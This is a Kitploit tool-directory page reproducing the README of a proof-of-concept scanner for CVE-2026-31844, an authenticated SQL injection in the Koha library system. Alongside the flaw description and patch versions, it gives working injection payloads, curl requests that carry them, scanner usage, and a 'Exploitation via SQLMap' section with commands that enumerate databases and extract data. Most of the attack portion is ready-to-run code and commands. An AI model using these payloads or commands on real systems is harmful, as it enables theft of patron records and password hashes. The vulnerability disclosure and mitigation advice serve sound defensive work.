Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31844 — Authenticated SQL injection scanner for Koha Library Management System (CVE-2026-31844) using boolean-based blind technique to verify vulnerability and extract data. | Kitploit
Tools/GitHubGitHub/mothra-1/cve-2026-31844
Vulnerability ScannersExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

Authenticated SQL injection scanner for Koha Library Management System (CVE-2026-31844) using boolean-based blind technique to verify vulnerability and extract data.

View Repository
115 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Koha CVE-2026-31844: Authenticated SQL Injection

Release Python 3.6+ CVE ID License

Overview

This repository contains a responsible vulnerability POC for CVE-2026-31844, a high severity authenticated SQL injection vulnerability in the Koha Library Management System.

The vulnerability exists in the GetDistinctValues function in C4/Search.pm, which is called by the /cgi-bin/koha/suggestion/suggestion.pl script. It can be exploited via the displayby parameter.

Koha Bug:
#41593
  • Fix Versions: 26.05.00, 25.11.01, 25.05.07, 24.11.12
  • Vulnerability Details

    The displayby parameter in the suggestion.pl script is used to construct a table-qualified column name, which is then passed to the GetDistinctValues function. However, this function directly embeds both the table name and column name into a raw SQL query without performing any input validation or parameterization. As a result, an attacker can manipulate the displayby parameter to inject malicious SQL code into the query. Since the input is not sanitized before being included in the SQL statement, this behavior introduces a SQL Injection vulnerability, which may allow an attacker to execute arbitrary Boolean-Based Blind technique SQL commands on the database.

    root@kitploit:~
    # suggestion.pl
    my $displayby = $input->param('displayby') || '';
    my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
    

    Discoverer

    Raximov Shukrulloh (Mothra)

    You can scan your target there

    The scanner uses a Boolean-Based Blind technique to verify the vulnerability

    By injecting conditional statements into the column name position, we can observe differential HTTP responses:

    • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Subquery Error → HTTP 500
    • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Valid Query → HTTP 200

    If the target returns a 500 for the true condition and a 200 for the false condition, the vulnerability is confirmed.

    Installation & Usage

    1. Clone the Repository

    root@kitploit:~
    git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
    cd CVE-2026-31844-Koha-Scanner
    

    2. Install Requirements

    root@kitploit:~
    pip3 install requests
    

    3. Run the Scanner

    You must provide valid credentials for a Koha staff account with the suggestions permission.

    root@kitploit:~
    python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
    

    For targets with self-signed SSL certificates:

    root@kitploit:~
    python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
    

    4. Output Example

    root@kitploit:~
    ╔═══════════════════════════════════════════════════════════════╗
    ║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
    ║       Authenticated SQLi in suggestion.pl (displayby)         ║
    ║                 (Responsible Check Only)                      ║
    ╚═══════════════════════════════════════════════════════════════╝
    
    [*] Target: http://koha.local:8081
    [*] Authenticating to staff interface as 'koha_admin'...
    [+] Authentication successful!
    
    ============================================================
     VULNERABILITY SCAN
    ============================================================
    [*] Testing vulnerability using safe Boolean-blind evaluation...
        [1] Testing baseline request (STATUS)... HTTP 200 (OK)
        [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
        [3] Testing FALSE condition evaluation... HTTP 200 (OK)
    ============================================================
    
    [ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 
    
    [! ] The target evaluated the SQL conditions and returned differential HTTP codes.
    [! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
    

    Manual Proof of Concept (PoC)

    You can manually verify the vulnerability via curl. First, authenticate to the Koha staff interface and capture your CGISESSID cookie.

    True Condition (Returns HTTP 500):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
    

    False Condition (Returns HTTP 200):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
    

    5. Exploitation via SQLMap

    SQLMap natively supports boolean-based blind injection. To automate data extraction, save a valid authenticated HTTP request to request.txt. Keep the csrf_token and CGISESSID cookies valid.

    Example request.txt:

    root@kitploit:~
    GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
    Host: koha.example.com
    Cookie: CGISESSID=your_session_id_here
    User-Agent: Mozilla/5.0
    

    Run SQLMap with the boolean technique (--technique=B):

    root@kitploit:~
    # Basic database extraction
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
    
    # Extract current user
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
    

    Or run it directly from the command line:

    root@kitploit:~
    sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
      --cookie="CGISESSID=your_session_id_here" \
      -p displayby \
      --dbms=mysql \
      --technique=B \
      --current-db
    

    After some time, sqlmap will identify the correct payload.

    Impact

    If left unpatched, this vulnerability allows an authenticated attacker to:

    1. Extract sensitive information (patron records, password hashes)
    2. Enumerate the database schema
    3. Fully compromise the backend database

    Mitigation

    Update to Koha version 24.11.12, 25.05.07, 25.11.01, or 26.05.00 (or later) which includes a fix for this vulnerability.

    Credits

    Raximov Shukrulloh (Mothra)

    Contact

    Telegram bot @MothraContact_bot

    Ethical Considerations

    This proof of concept is provided for educational and defensive purposes only. Always obtain proper authorization before testing any system for vulnerabilities.

    Disclaimer

    The author is not responsible for any misuse of this information. This proof of concept should only be used on systems you own or have explicit permission to test.

    Download Tool